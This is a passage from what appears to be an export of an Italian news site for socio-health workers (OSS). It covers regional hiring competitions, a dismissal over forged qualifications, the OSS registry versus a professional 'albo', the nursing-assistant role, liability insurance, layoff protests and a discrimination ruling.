cui Asl Napoli 2 Nord, Asl Napoli 3 Sud, l’Azienda ospedaliera Cardarelli, e altre. L'Asl Salerno sarà capofila per l'Area 2, gestendo il concorso per Asl Avellino, Asl Benevento, Asl Caserta e altre strutture ospedaliere. Di seguito è possibile consultare la delibera della Regione Campania che autorizza il concorso unico regionale. Delibera-Campania-concorso-ossDownload --- > Operatore socio-sanitario senza titolo licenziato dall'Asl Avellino dopo 15 mesi di servizio. Scoperti documenti falsi durante i controlli. - Published: 2024-09-26 - Modified: 2024-09-26 - URL: https://ossinreparto.it/news/2024/09/26/asl-avellino-oss-licenziato/ - Categorie: Lavoro - Tag: Lavorare come OSS Operatore socio-sanitario senza titolo licenziato dall'Asl Avellino dopo 15 mesi di servizio. Scoperti documenti falsi durante i controlli. Assunto come operatore socio-sanitario (OSS) dall'Asl di Avellino nel giugno 2022, ha prestato servizio per ben 15 mesi negli ospedali di Ariano Irpino e Sant'Angelo dei Lombardi, prima di essere licenziato una settimana fa. Il motivo? Non era in possesso del titolo necessario per esercitare la professione. L'episodio è emerso a seguito di una verifica generale sui titoli di studio e di abilitazione, avviata dall’Asl su tutti i dipendenti con contratto a tempo indeterminato. Durante questi controlli è stato scoperto che l’uomo non aveva mai conseguito l'attestato di OSS, il titolo richiesto per svolgere il lavoro, che si ottiene tramite corsi di formazione regionali o riconosciuti a livello nazionale. Il caso desta scalpore, poiché l’uomo è riuscito a lavorare a stretto contatto con pazienti, alcuni dei quali in condizioni di fragilità, per oltre un anno, senza che nessuno si accorgesse dell’assenza del titolo. Già dallo scorso anno l’Asl di Avellino aveva iniziato una serie di controlli e il dipendente era stato convocato più volte per chiarire la sua posizione. In ogni occasione ha presentato documenti differenti, che però si sono rivelati falsi. Un controllo incrociato con la Regione Campania ha confermato che nel 2013, anno in cui il presunto diploma sarebbe stato ottenuto, i corsi erano sospesi. Nonostante il procedimento disciplinare aperto dall’Asl e le continue convocazioni, l’uomo ha mantenuto una posizione di difesa, arrivando persino a presentare un ulteriore attestato, questa volta con una data diversa. Anche in questo caso, però, le verifiche hanno confermato la falsità del documento. Il licenziamento è stato quindi inevitabile. Ma resta un interrogativo importante: come è possibile che una persona sia riuscita a lavorare per così tanto tempo senza il titolo richiesto? Perché i controlli non sono stati effettuati preventivamente, al momento dell’assunzione? La vicenda solleva dubbi sull'efficacia dei meccanismi di verifica dei titoli professionali all'interno delle aziende sanitarie e richiama l'attenzione sull'importanza di un controllo più rigoroso, specialmente in settori così delicati come quello sanitario. --- > Il Registro nazionale OSS certifica la professione, mentre l'albo non è possibile per legge. Il registro garantisce tutele e visibilità - Published: 2024-09-09 - Modified: 2024-09-09 - URL: https://ossinreparto.it/news/2024/09/09/albo-registro-oss/ - Categorie: Legislazione Sanitaria - Tag: Lavorare come OSS, Registro Nazionale OSS Il Registro nazionale OSS certifica la professione, mentre l'albo non è possibile per legge. Il registro garantisce tutele e visibilità. Negli ultimi tempi si parla spesso di "Albo OSS", un termine utilizzato in modo improprio o con fini diversi. È quindi importante capire la differenza tra "albo" e "registro", poiché, nonostante siano simili, si riferiscono a concetti diversi con normative specifiche. Cos’è un albo professionale? Un albo professionale è un elenco pubblico che raccoglie i nomi di coloro che sono autorizzati a esercitare una professione regolamentata. Tali professioni richiedono requisiti precisi, come stabilito dal Decreto del Presidente della Repubblica del 7 agosto 2012, n. 137. Gli iscritti a un albo devono mantenersi aggiornati con corsi di formazione, certificare le proprie competenze, stipulare un’assicurazione per eventuali danni e rispettare un codice deontologico. Il mancato rispetto di queste regole può portare a sanzioni o addirittura all’esclusione dall’albo. Per iscriversi a un albo professionale è necessario possedere un titolo di studio specifico e superare un esame di Stato. Tuttavia, non tutte le professioni in Italia sono regolamentate tramite ordini e albi professionali. In questi casi, la legge prevede la creazione di associazioni professionali con funzioni simili, che garantiscono il rispetto di codici etici e il controllo sulla condotta dei professionisti. Il Registro unico nazionale Il Registro unico nazionale, a differenza dell’albo, non implica necessariamente l’esistenza di un ordine professionale. È uno strumento utilizzato per certificare l’esercizio di un’attività professionale e svolge anche altre funzioni legate al profilo e alla normativa vigente. Per gli operatori socio-sanitari (OSS), il Registro unico nazionale è l’unico strumento ufficiale per certificare l’esercizio della professione. Questo registro è accessibile online e l’iscrizione può conferire anche il riconoscimento giuridico, in conformità con le normative attuali. Perché non esiste un albo per gli OSS? Parlare di "Albo OSS" è attualmente errato, poiché l’OSS non è una professione regolamentata da un ordine professionale. Gli OSS non hanno un titolo di studio universitario e non hanno sostenuto un esame di Stato; la loro formazione è regionale e si conclude con un attestato di qualifica. Non sono soggetti a obblighi di assicurazione professionale o formazione continua. La normativa italiana permette la creazione di albi solo per professioni che hanno un ordine professionale e una formazione universitaria specifica. Pertanto, la creazione di un albo per gli OSS non è attualmente possibile. Tuttavia, una proposta di legge in discussione alla Camera (proposta Malavasi – PD, A. C. 1510) mira a creare un Registro nazionale per le professioni sanitarie non ordinistiche, tra cui quella degli OSS. Il ruolo del Registro nazionale La creazione di un Registro nazionale per gli OSS è un passo fondamentale per dare maggiore riconoscimento a questa professione. Grazie al lavoro della Federazione Migep e degli Stati Generali Oss, si sta lavorando per creare un registro accessibile tramite una piattaforma online (www. statigeneralioss. eu), che possa offrire visibilità e tutele ai professionisti del settore. L’iscrizione a questo registro consente anche l’autorappresentanza come previsto dalla legge. La creazione di un albo per gli OSS non è attuabile con la normativa attuale. Tuttavia, l’istituzione di un Registro unico nazionale rappresenta un'importante opportunità per dare agli OSS... --- > L'assistente infermiere, formato come OSS, supporta gli infermieri con assistenza diretta, somministrazione di terapie e monitoraggio pazienti. - Published: 2024-09-03 - Modified: 2024-10-24 - URL: https://ossinreparto.it/news/2024/09/03/assistente-infermiere/ - Categorie: Assistenza alla Persona - Tag: Assistente Infermiere, Lavorare come OSS L'assistente infermiere, formato come OSS, supporta gli infermieri con assistenza diretta, somministrazione di terapie e monitoraggio pazienti. Negli ultimi anni, il settore sanitario italiano ha introdotto una nuova figura professionale: l'assistente infermiere. Questa posizione è stata istituita in risposta alla crescente necessità di supporto nel campo infermieristico e mira a colmare alcune lacune operative, soprattutto a fronte della carenza di infermieri qualificati. Chi è l'assistente infermiere? L'assistente infermiere è un operatore qualificato, derivante dal percorso di formazione dell'Operatore Socio-Sanitario (OSS). A differenza di quest'ultimo, l'assistente infermiere svolge attività più specializzate, affiancando direttamente gli infermieri nel fornire assistenza sanitaria. Questa figura si inserisce sia in ambito ospedaliero che domiciliare (abbiamo un articolo sull'assistenza domiciliare), intervenendo in diverse aree, come l'assistenza di base, la gestione dell'igiene del paziente, e il supporto nella somministrazione di terapie semplici. Formazione e requisiti Per diventare Assistente Infermiere, è necessario essere già in possesso della qualifica di OSS. Il percorso formativo specifico prevede un corso di almeno 500 ore, distribuito in un arco di tempo tra 6 e 12 mesi. Questo corso comprende sia lezioni teoriche che un tirocinio pratico in strutture sanitarie. Al termine della formazione, gli studenti devono superare un esame finale per ottenere la qualifica. Il programma formativo copre una vasta gamma di competenze, tra cui l'assistenza infermieristica di base, la prevenzione, e la gestione dei protocolli igienico-sanitari. Gli assistenti infermieri, una volta qualificati, devono partecipare a eventi formativi di aggiornamento continuo, che garantiscono il mantenimento delle competenze professionali. Cosa fa l'assistente infermiere? L'assistente infermiere svolgerà un importante ruolo nel team sanitario. Le sue funzioni includono: Assistenza diretta al paziente: Supporto nelle attività quotidiane del paziente, come l'igiene personale, l'alimentazione, e la mobilizzazione (come il posizionamento del paziente al letto). Supporto infermieristico: Collaborazione con gli infermieri nella somministrazione di terapie, monitoraggio dei segni vitali, e preparazione del materiale medico. Intervento preventivo e educativo: Partecipazione alla promozione della salute e all'educazione sanitaria, nonché al mantenimento dell'igiene ambientale. L'introduzione della figura dell'assistente infermiere rappresenta un passo avanti significativo nel miglioramento del sistema sanitario italiano. Questa innovazione non solo affronta la pressante questione della carenza di personale, ma apre anche nuove opportunità professionali per coloro che già operano nel settore socio-sanitario. Il valore aggiunto di questa figura risiede nella sua capacità di supportare gli infermieri nelle attività quotidiane, consentendo una distribuzione più efficiente del carico di lavoro. In questo modo, si potrà garantire un'assistenza più tempestiva e attenta ai pazienti, migliorando la qualità complessiva dei servizi sanitari. Inoltre, l'Assistente Infermiere contribuirà alla promozione della salute e al benessere dei pazienti, rendendo il sistema sanitario più resiliente e flessibile. Con una formazione adeguata e una chiara definizione delle responsabilità, l'assistente Infermiere può diventare una risorsa inestimabile, capace di rafforzare il sistema sanitario e di rispondere efficacemente alle sfide del futuro. --- > In Toscana, la graduatoria degli OSS scade mentre gli ospedali sono in crisi. Senza assunzioni dal novembre 2023, si teme di perdere la chance. - Published: 2024-09-02 - Modified: 2024-09-02 - URL: https://ossinreparto.it/news/2024/09/02/ospedali-in-crisi-toscana/ - Categorie: Concorsi, News Concorsi - Tag: Lavorare come OSS In Toscana, la graduatoria degli OSS scade mentre gli ospedali sono in crisi. Senza assunzioni dal novembre 2023, gli idonei temono di perdere la chance di lavoro. La situazione degli Operatori Socio-Sanitari (OSS) in Toscana si fa sempre più grave. Sebbene la graduatoria del concorso pubblico 109/2021 sia stata estesa fino ad aprile 2025, non ci sono state assunzioni dal novembre 2023. Questo ha provocato ansia tra i 2. 060 idonei rimasti, che temono di non ottenere mai un lavoro prima che la graduatoria scada. Il concorso, bandito durante la pandemia, ha visto la partecipazione di 7. 080 candidati su 9. 010 iscritti, con 2. 611 risultati idonei. Tuttavia, con la crescente pressione sugli ospedali toscani e la carente disponibilità di personale, che ha costretto alla chiusura di reparti e prolungato le liste d'attesa, la situazione è diventata critica. I sindacati come CGIL, UIL, CISL e USB hanno sollecitato ripetutamente la Regione tramite lettere e manifestazioni, ma le risposte sono state insoddisfacenti. La crisi sanitaria continua a peggiorare e la Regione non sembra affrontare il problema con la necessaria urgenza. Gli idonei stanno preparando una nuova manifestazione a Firenze, simile a quella dell'8 marzo 2022, per chiedere che le assunzioni avvengano subito. La loro richiesta è di utilizzare il personale già idoneo per rispondere all'emergenza sanitaria in corso. La Regione Toscana ha ora la chance di dimostrare che la salute pubblica e il rispetto per i lavoratori sono priorità. È cruciale che questa opportunità venga colta prima che la situazione diventi insostenibile. --- > Una cooperativa sanitaria obbliga gli OSS a pagare un'assicurazione di responsabilità civile, suscitando preoccupazioni e dibattiti sui loro diritti. - Published: 2024-08-29 - Modified: 2024-08-29 - URL: https://ossinreparto.it/news/2024/08/29/assicurazione-oss/ - Categorie: Lavoro - Tag: Assicurazione OSS, Lavorare come OSS Una cooperativa sanitaria obbliga gli OSS a pagare un'assicurazione di responsabilità civile, suscitando preoccupazioni e dibattiti sui diritti dei lavoratori. La recente decisione di una cooperativa sanitaria di obbligare gli Operatori Socio Sanitari (OSS) a sottoscrivere a proprie spese una polizza di responsabilità civile verso terzi (è un tipo di assicurazione che copre i danni involontari causati a terzi) ha sollevato un'ondata di preoccupazioni e interrogativi, sia tra gli addetti ai lavori che sul piano normativo. La scadenza imposta al 31 agosto ha acceso un dibattito acceso, con le organizzazioni sindacali in prima linea nel difendere i diritti dei lavoratori e nel fare chiarezza sulla corretta interpretazione delle normative in vigore. La Legge Gelli-Bianco e il DM 232/2023: chi sono i veri destinatari? La Legge Gelli-Bianco (L. 24/2017) è stata introdotta con l’obiettivo di regolamentare la responsabilità professionale del personale sanitario, stabilendo precisi obblighi assicurativi per coloro che esercitano le professioni sanitarie. Tuttavia, è essenziale evidenziare che questa legge non include esplicitamente gli OSS tra i professionisti obbligati a sottoscrivere una polizza assicurativa di responsabilità civile. Gli articoli 9-12 della Legge Gelli-Bianco, infatti, si rivolgono esclusivamente a chi esercita una professione sanitaria. Secondo il DM 232 del 15 dicembre 2023, gli OSS sono definiti come “operatori di interesse sanitario” e non come “esercenti la professione sanitaria”, escludendoli quindi dagli obblighi assicurativi previsti per medici, infermieri e altri professionisti del settore. La copertura assicurativa e il ruolo delle strutture sanitarie Un elemento fondamentale chiarito dal DM 232/2023 riguarda le responsabilità delle strutture sanitarie, sia pubbliche che private, nel garantire una copertura assicurativa per eventuali danni causati dal proprio personale, OSS inclusi. Questo principio esonera gli OSS dall'obbligo di stipulare una polizza personale per colpa grave, una misura che risulterebbe inadeguata e inutile per i compiti tecnici che svolgono quotidianamente. È inoltre importante notare che le polizze attualmente disponibili sul mercato non sono conformi ai parametri richiesti dalla Legge Gelli-Bianco per i professionisti sanitari, poiché non esistono parametri specifici per gli OSS. Di conseguenza, tali polizze non offrono una protezione reale per queste figure e non sono necessarie. La posizione delle organizzazioni sindacali Le organizzazioni sindacali si sono espresse con forza contro la richiesta della cooperativa, denunciando pratiche commerciali scorrette e l’imposizione di obblighi non supportati da leggi specifiche. Il sindacato ha inoltre segnalato questo comportamento alle autorità competenti, richiedendo un’interpretazione autentica delle norme per eliminare ogni ambiguità e proteggere i lavoratori da abusi. In un recente appello al Ministro delle Imprese e del Made in Italy, al Ministro della Salute e al Ministro dell’Economia e delle Finanze, il sindacato ha chiesto chiarimenti normativi che possano sanare il vuoto legislativo attualmente esistente. Tuttavia, le istituzioni non hanno ancora fornito una risposta ufficiale, lasciando i lavoratori in un limbo di incertezza. Alla luce di queste analisi, è chiaro che l'obbligo imposto dalla cooperativa di stipulare una polizza RC professionale per gli OSS non ha una base legale solida. Gli OSS non sono legalmente tenuti a sostenere i costi di un’assicurazione per colpa grave, poiché la normativa attuale non li riconosce come professionisti sanitari soggetti a tale rischio. In attesa di un chiarimento definitivo... --- > Avviso di selezione per OSS presso la Croce Rossa Italiana (CRI), incarichi presso i presidi sanitari del Comitato Regionale Toscana. - Published: 2024-08-28 - Modified: 2024-08-28 - URL: https://ossinreparto.it/news/2024/08/28/bando-croce-rossa-oss/ - Categorie: Lavoro - Tag: Lavorare come OSS Avviso di selezione per OSS presso la Croce Rossa Italiana (CRI), incarichi presso i presidi sanitari del Comitato Regionale Toscana. La Croce Rossa Italiana (CRI) ha aperto un avviso di selezione per la creazione di una graduatoria finalizzata al conferimento di incarichi per Operatori Socio Sanitari (OSS) presso i presidi sanitari del Comitato Regionale Toscana. Questo avviso rappresenta un'importante opportunità per i professionisti del settore sanitario che desiderano lavorare in una delle più prestigiose istituzioni umanitarie italiane. Requisiti specifici Per partecipare alla selezione, i candidati devono soddisfare i seguenti requisiti: Godimento dei diritti civili e politici degli Stati di appartenenza o di provenienza. Età non inferiore ai 18 anni. Attestato di Qualifica OSS: obbligatorio per candidarsi. Esperienza pregressa: È richiesta esperienza lavorativa in ruoli simili, preferibilmente presso enti pubblici o privati del settore sanitario. Conoscenza fluente della lingua italiana e inglese, sia parlata che scritta. Competenze tecniche: Conoscenza delle tecniche di assistenza alla persona e utilizzo del pacchetto Microsoft Office (Word, Excel, ecc. ). Come candidarsi Le candidature devono essere presentate online entro il 30 agosto 2024. Gli interessati possono consultare tutti i dettagli e inviare la propria domanda visitando il sito ufficiale della Croce Rossa Italiana al seguente link: https://www. cri. it. Non perdere questa occasione per entrare a far parte di una realtà che opera in prima linea nella salvaguardia della salute e del benessere delle persone più vulnerabili. --- > Gli OSS delle cooperative di Napoli continuano a protestare contro i licenziamenti previsti a settembre. Cercano un futuro sicuro. - Published: 2024-08-28 - Modified: 2024-08-28 - URL: https://ossinreparto.it/news/2024/08/28/oss-lavoro-licenziamento/ - Categorie: Lavoro - Tag: Lavorare come OSS Gli OSS dell'ASL Napoli 1 Centro protestano contro i licenziamenti di 250 lavoratori, chiedendo alla Regione Campania di rispettare gli impegni presi e garantire loro un futuro. Gli operatori socio-sanitari (OSS) delle cooperative che lavorano presso gli ospedali e i presidi territoriali dell'ASL Napoli 1 Centro sono tornati a manifestare davanti alla sede della Regione Campania. La loro protesta è contro i licenziamenti previsti per metà settembre, che potrebbero lasciare senza lavoro circa 250 lavoratori, molti dei quali con un'esperienza alle spalle e in età avanzata. La decisione dell'ASL di procedere con nuove assunzioni attraverso concorsi pubblici, anziché assorbire il personale già in servizio, ha scatenato l'indignazione dei lavoratori e dei sindacati. Vincenzo Migliore, rappresentante del Terzo settore della Cisl Fp Napoli, ha sottolineato l'importanza di trovare una soluzione che permetta agli OSS di continuare a lavorare all'interno del sistema sanitario regionale, come previsto dalle normative nazionali. I lavoratori chiedono alla Regione di rispettare gli impegni presi, che prevedevano il trasferimento del personale sostituito nei presidi ospedalieri verso i servizi di assistenza domiciliare. Tuttavia, nonostante le promesse, questa soluzione non è stata ancora attuata, lasciando i lavoratori in un limbo di incertezza. La situazione è aggravata dal fatto che molti di questi operatori hanno affrontato situazioni estremamente difficili durante l'emergenza Covid-19, dimostrando una professionalità e un impegno che ora rischiano di essere vanificati. La lotta degli OSS è destinata a continuare, con ulteriori azioni di protesta già programmate nei prossimi giorni, mentre cresce la pressione sulla Regione Campania per intervenire e trovare una soluzione equa. --- > Concorso pubblico 2024 per 58 posti da Operatore Sociosanitario a tempo indeterminato in Veneto. Scadenza e bando in arrivo. - Published: 2024-07-28 - Modified: 2024-07-28 - URL: https://ossinreparto.it/news/2024/07/28/58-posti-oss-concorso-pubblico/ - Categorie: Concorsi, News Concorsi - Tag: Lavorare come OSS Concorso pubblico 2024 per 58 posti da Operatore Sociosanitario a tempo indeterminato in Veneto. Scadenza e bando in arrivo. Azienda Zero Veneto annuncia un concorso pubblico per 58 posti a tempo indeterminato come Operatori Sociosanitari. La selezione avverrà per titoli ed esami. Posti disponibili (58): Ulss n. 1 Dolomiti: 1 Ulss n. 2 Marca Trevigiana: 15 Ulss n. 3 Serenissima: 3 Ulss n. 4 Veneto Orientale: 1 Ulss n. 5 Polesana: 1 Ulss n. 6 Euganea: 13 Ulss n. 7 Pedemontana: 2 Ulss n. 8 Berica: 10 Ulss n. 9 Scaligera: 5 Ospedale-Università di Padova: 3 Ospedaliera Universitaria Integrata Verona: 1 Istituto Oncologico Veneto IRCCS: 3 Requisiti: Diploma di istruzione secondaria di primo grado o equipollente. Attestato di qualifica di Operatore Sociosanitario, o titoli equipollenti come definito dalle normative regionali e nazionali. Kit per tutte le prove di selezione OSS a -10% solo per oggi Il miglior KIT COMPLETO per tutte le prove di selezione OSS. SCOPRI L'OFFERTA SU AMAZON CLICCANDO QUI Scadenza e Bando: Il bando sarà pubblicato a breve. Segui le indicazioni per la presentazione della domanda e la documentazione necessaria. Ecco il documento completo: Scaricalo qui --- > Per la prima volta, l’attività degli oss è inserita tra i lavori usuranti grazie a un ordine del giorno approvato in Parlamento. - Published: 2024-07-27 - Modified: 2024-07-27 - URL: https://ossinreparto.it/news/2024/07/27/oss-riconosciuti-tra-i-lavori-usuranti-in-parlamento/ - Categorie: Lavoro - Tag: Lavorare come OSS Per la prima volta, l’attività degli oss è inserita tra i lavori usuranti grazie a un ordine del giorno approvato in Parlamento. Per la prima volta, il Parlamento italiano ha deciso di riconoscere l'attività degli operatori socio-sanitari (OSS) come lavoro usurante. Questo cambiamento è stato sancito durante la conversione in legge del decreto sulla riduzione delle liste d'attesa in sanità, con l'approvazione di un ordine del giorno presentato dal deputato valdostano Franco Manes. L'ordine del giorno sottolinea le difficoltà e le sfide che gli OSS affrontano quotidianamente, lavorando in contesti complessi e a stretto contatto con persone fragili, affrontando problemi gestionali, organizzativi e fisici. Franco Manes ha espresso soddisfazione per il riconoscimento, sottolineando che l'approvazione del suo ordine del giorno rappresenta un passo importante verso la consapevolezza nazionale riguardo allo stress e ai carichi psico-fisici cui sono soggetti gli OSS nel corso della loro carriera. Questo problema è particolarmente avvertito anche in Valle d'Aosta, soprattutto nelle micro-comunità per anziani, sia pubbliche che private. --- > Una OSS disabile di Sora ha vinto un ricorso contro l'ospedale Sant'Andrea di Roma, che l'aveva dichiarata inidonea, per discriminazione. - Published: 2024-07-23 - Modified: 2024-07-23 - URL: https://ossinreparto.it/news/2024/07/23/oss-disabile-vince-ricorso-annullato-il-giudizio-di-inidoneita/ - Categorie: Concorsi, News Concorsi - Tag: Lavorare come OSS Una OSS disabile di Sora ha vinto un ricorso contro l'ospedale Sant'Andrea di Roma, che l'aveva dichiarata inidonea, per discriminazione. Un'importante sentenza a favore di un'operatrice socio-sanitaria disabile è stata emessa di recente. La vicenda ha avuto inizio quando una donna residente a Sora, in provincia di Frosinone, è stata dichiarata inidonea a una mansione di OSS (Operatore Socio Sanitario) dopo una visita pre-assuntiva presso l'ospedale Sant'Andrea di Roma. La donna, registrata come invalida civile e aspirante al collocamento obbligatorio ai sensi della Legge 68/99, ha contestato tale decisione attraverso un ricorso legale. Il documento ufficiale dell'ospedale affermava che, a seguito della visita medica, la donna non fosse idonea a ricoprire il ruolo di infermiere, specificando vari "rischi" associati alla posizione, come quelli biologici e potenziali, e le difficoltà fisiche legate ai trasporti e ai turni notturni. Tuttavia, la decisione ha portato alla revoca della nota di assunzione prevista per il 4 marzo 2024. Secondo la giurisprudenza della Cassazione, il lavoratore licenziato dopo una dichiarazione di inidoneità può impugnare il licenziamento, e il giudice del lavoro ha il compito di verificare la correttezza del giudizio, con la possibilità di disporre consulenze tecniche. È stato inoltre evidenziato che licenziare un lavoratore subito dopo l'accertamento di inidoneità, senza attendere il termine per la contestazione, non è conforme ai principi di buona fede e correttezza. In questo contesto, è stata ritenuta illegittima la comunicazione del giudizio di inidoneità, emessa prima del termine di 30 giorni previsto per presentare ricorso. Inoltre, nella nota non era prevista la possibilità di assegnare la lavoratrice a mansioni equivalenti o inferiori con il corrispondente trattamento economico. A tutela della salute e del posto di lavoro del lavoratore disabile, il legale ha richiesto ulteriori accertamenti sanitari e la revoca del giudizio di inidoneità. Accogliendo il ricorso, la commissione medica dell'Asp Roma 1 del Santo Spirito ha annullato il precedente verdetto, riconoscendo la donna idonea per la mansione di OSS e confermando una significativa discriminazione ai suoi danni. --- > A Pescina, un oss ha praticato un massaggio cardiaco per 13 minuti e salvato un 67enne colpito da infarto. L'uomo è stato operato e ora sta bene. - Published: 2024-07-23 - Modified: 2024-07-23 - URL: https://ossinreparto.it/news/2024/07/23/oss-salva-uomo-massaggio-cardiaco/ - Categorie: Assistenza alla Persona A Pescina, un oss ha praticato un massaggio cardiaco per 13 minuti e salvato un 67enne colpito da infarto. L'uomo è stato operato e ora sta bene. A Pescina, in provincia de L'Aquila, un operatore socio-sanitario (oss), è riuscito a salvare la vita di un 67enne colto da infarto grazie a un massaggio cardiaco durato ben 13 minuti. L’episodio, avvenuto venerdì scorso, ha visto l'operatore socio sanitario intervenire tempestivamente nonostante non fosse in servizio. Quando l’uomo ha manifestato i sintomi dell’infarto, l'oss ha immediatamente chiesto ai familiari di chiamare un’ambulanza. Nel frattempo, ha mantenuto il contatto telefonico con i medici del 118, che lo hanno guidato nelle manovre di soccorso. In un’azione rapida e determinata, è riuscito a procurarsi un defibrillatore disponibile nella piazza del paese e a usarlo per stabilizzare il paziente. Il 67enne è stato successivamente trasportato all'ospedale di Teramo, dove i medici hanno effettuato due bypass cardiaci. Attualmente, il paziente è fuori pericolo ed è in ripresa. La famiglia ha espresso la propria gratitudine pubblicamente all'operatore socio sanitario, che ha dichiarato di non sentirsi un eroe, ma solo un professionista che ha adempiuto al suo dovere. Questo evento sottolinea l’importanza della preparazione e della disponibilità di risorse mediche nelle comunità locali. La rapida risposta e la competenza dell'operatore hanno fatto la differenza, dimostrando quanto sia cruciale la formazione e l'accesso a strumenti salvavita in situazioni di emergenza. --- - Published: 2024-07-23 - Modified: 2024-07-23 - URL: https://ossinreparto.it/news/2024/07/23/liguria-graduatorie-oss-e-sanitarie-prorogate/ - Categorie: Lavoro, Legislazione Sanitaria - Tag: Lavorare come OSS Il Consiglio regionale della Liguria approva la proroga annuale delle graduatorie per OSS e altre professioni sanitarie, evitando spese aggiuntive. Il Consiglio regionale della Liguria ha recentemente dato il via libera alla legge proposta con il numero 172, che prevede la proroga di un anno delle graduatorie per operatori socio-sanitari (OSS) e altre figure professionali del settore sanitario. La legge è stata approvata con un ampio consenso, rappresentando un importante sviluppo per il sistema sanitario regionale. Gianni Pastorino, consigliere e primo firmatario della legge nonché capogruppo di Linea Condivisa, ha espresso grande soddisfazione per il risultato ottenuto. Pastorino ha sottolineato che la proroga offrirà alle aziende sanitarie e ospedaliere un margine di tempo maggiore per effettuare nuove assunzioni e permetterà a chi è già idoneo nelle graduatorie di avere ulteriori opportunità professionali. Il consigliere ha anche aggiunto che il progetto di legge aveva già superato con successo l'esame della Commissione Bilancio l'8 luglio scorso, confermando l'assenza di oneri aggiuntivi. Con l'approvazione in Consiglio regionale, la legge garantirà una proroga di un anno per tutte le graduatorie attualmente in vigore, offrendo così continuità e stabilità al settore. Brunello Brunetto, presidente della II Commissione Salute e sicurezza sociale e consigliere regionale della Lega, ha definito la proroga come un passo fondamentale per la sanità ligure, utile a risolvere parzialmente il problema della carenza di personale specializzato. Brunetto ha elogiato il sostegno bipartisan ricevuto durante l'approvazione della legge e ha sottolineato come il provvedimento permetta una pianificazione più serena per i futuri bandi e garantisca un’efficienza economica per gli enti coinvolti. --- > Avviso per 35 posti di Operatore Socio-Sanitario a Bari: scopri i requisiti necessari e il procedimento per candidarti online. - Published: 2024-07-05 - Modified: 2024-07-05 - URL: https://ossinreparto.it/news/2024/07/05/35-posti-oss-policlinico-bari/ - Categorie: Avvisi Pubblici, Concorsi, News Concorsi - Tag: Lavorare come OSS Avviso per 35 posti OSS a Bari: ecco quali sono i requisiti e come candidarsi online. L'Azienda Ospedaliero Universitaria Consorziale, Policlinico di Bari ha pubblicato un avviso pubblico per il conferimento di 35 incarichi temporanei nel profilo professionale di Operatore Socio Sanitario. Le posizioni avranno una durata di 12 mesi. Criteri di valutazione dei titoli I candidati devono essere in possesso del diploma di istruzione secondaria di primo grado e dell'attestato di qualifica professionale di Operatore Socio Sanitario, ottenuto attraverso un corso di formazione annuale riconosciuto dal Ministero della Salute italiano, se conseguito all'estero. La valutazione dei titoli sarà condotta secondo i criteri stabiliti nel D. P. R. n. 220/2001, con un punteggio massimo di 20 punti suddiviso nelle seguenti categorie: Titoli di Carriera: massimo 10 punti Servizio presso S. S. N. o altre Pubbliche Amministrazioni con contratto a tempo determinato/indeterminato nel profilo di OSS: 1,20 punti per anno Servizio presso Strutture convenzionate o accreditate con contratto a tempo determinato/indeterminato nel profilo di OSS: 0,60 punti per anno Titoli Accademici e di Studio: massimo 5 punti Diploma di istruzione secondaria di secondo grado: 2 punti Laurea: 3 punti Curriculum Formativo e Professionale: massimo 5 punti Servizio presso S. S. N. o altre Pubbliche Amministrazioni con altre tipologie di contratto (es. CO. CO. CO. o come libero professionista) nel profilo di OSS: 0,30 punti per anno Servizio presso Strutture convenzionate o accreditate con altre tipologie di contratto nel profilo di OSS: 0,15 punti per anno Servizio presso Strutture non convenzionate o non accreditate con altre tipologie di contratto nel profilo di OSS: 0,12 punti per anno Requisiti e bando completo Possono partecipare all'avviso dell'AOU Policlinico di Bari i cittadini italiani, nonché cittadini degli Stati Membri dell'Unione Europea e loro familiari con diritto di soggiorno o soggiorno permanente. Sono ammessi anche cittadini di Paesi Terzi con permesso di soggiorno CE per soggiornanti di lungo periodo, nonché titolari di status di rifugiato o di protezione sussidiaria. Altri requisiti includono l'idoneità fisica, la regolarità per quanto riguarda gli obblighi militari, il godimento dei diritti civili e politici, e l'assenza di condanne penali in corso o definitive per reati contro la Pubblica Amministrazione o commessi nell'esercizio delle attività pertinenti all'avviso. Come candidarsi La domanda di partecipazione deve essere presentata esclusivamente tramite procedura telematica, disponibile sul sito https://policlinicobari. iscrizioneconcorsi. it/, seguendo le istruzioni dettagliate nel bando. Per ulteriori dettagli e per consultare il bando completo, comprensivo di tutti i requisiti necessari, si rimanda al documento completo: 35 Posti per Operatori Socio Sanitari Avviso Pubblico Regione Puglia 2024. --- > Partecipa al concorso OSS ASP Siracusa. 20 posti a tempo indeterminato. Scopri i requisiti e come candidarti entro il 15 luglio 2024. - Published: 2024-07-05 - Modified: 2024-07-20 - URL: https://ossinreparto.it/news/2024/07/05/concorso-oss-asp-siracusa-20-posti/ - Categorie: Concorsi, News Concorsi - Tag: Lavorare come OSS Partecipa al concorso OSS ASP Siracusa. 20 posti a tempo indeterminato. Scopri i requisiti e come candidarti entro il 15 luglio 2024. L'Azienda Sanitaria Provinciale (ASP) di Siracusa ha recentemente indetto un concorso pubblico per la copertura a tempo indeterminato di 20 posti da Operatore Socio-Sanitario (OSS, clicca qui se vuoi saperne di più). Questo concorso rappresenta un'importante opportunità per coloro che aspirano a entrare nel settore sanitario pubblico e desiderano contribuire alla cura e al benessere dei pazienti. In questo articolo, esamineremo i dettagli del concorso, i requisiti richiesti, la procedura di selezione e come presentare la domanda di partecipazione. Dettagli del concorso Descrizione del concorso L'ASP di Siracusa ha avviato un concorso pubblico per titoli ed esami con l'obiettivo di coprire 20 posti vacanti per Operatori Socio-Sanitari (OSS). Questo ruolo è cruciale per il supporto e l'assistenza ai pazienti all'interno delle strutture sanitarie. Obiettivi del concorso Copertura a tempo indeterminato: Garantire una stabilità lavorativa ai nuovi assunti. Migliorare la qualità dei servizi: Potenziare il personale sanitario per fornire un'assistenza migliore e più efficiente. Valorizzare le competenze: Selezionare candidati qualificati che possano contribuire positivamente al team sanitario. Requisiti per la partecipazione Requisiti generali Per essere ammessi al concorso, i candidati devono soddisfare i seguenti requisiti generali: Cittadinanza: Italiana o di uno degli stati membri dell'Unione Europea. Diritti civili e politici: Godere dei diritti civili e politici. Assenza di condanne penali: Non aver riportato condanne penali o avere procedimenti penali in corso. Idoneità fisica: Essere idonei fisicamente allo svolgimento delle mansioni previste. Regolarità con gli obblighi militari: Per i candidati di sesso maschile nati entro il 31. 12. 1985. Requisiti specifici Oltre ai requisiti generali, i candidati devono possedere: Diploma di istruzione secondaria di primo grado: O assolvimento dell'obbligo scolastico. Attestato di qualifica di Operatore Socio-Sanitario: Rilasciato da un ente accreditato. Conoscenza della lingua italiana: Adeguata alla posizione, per i cittadini di uno Stato 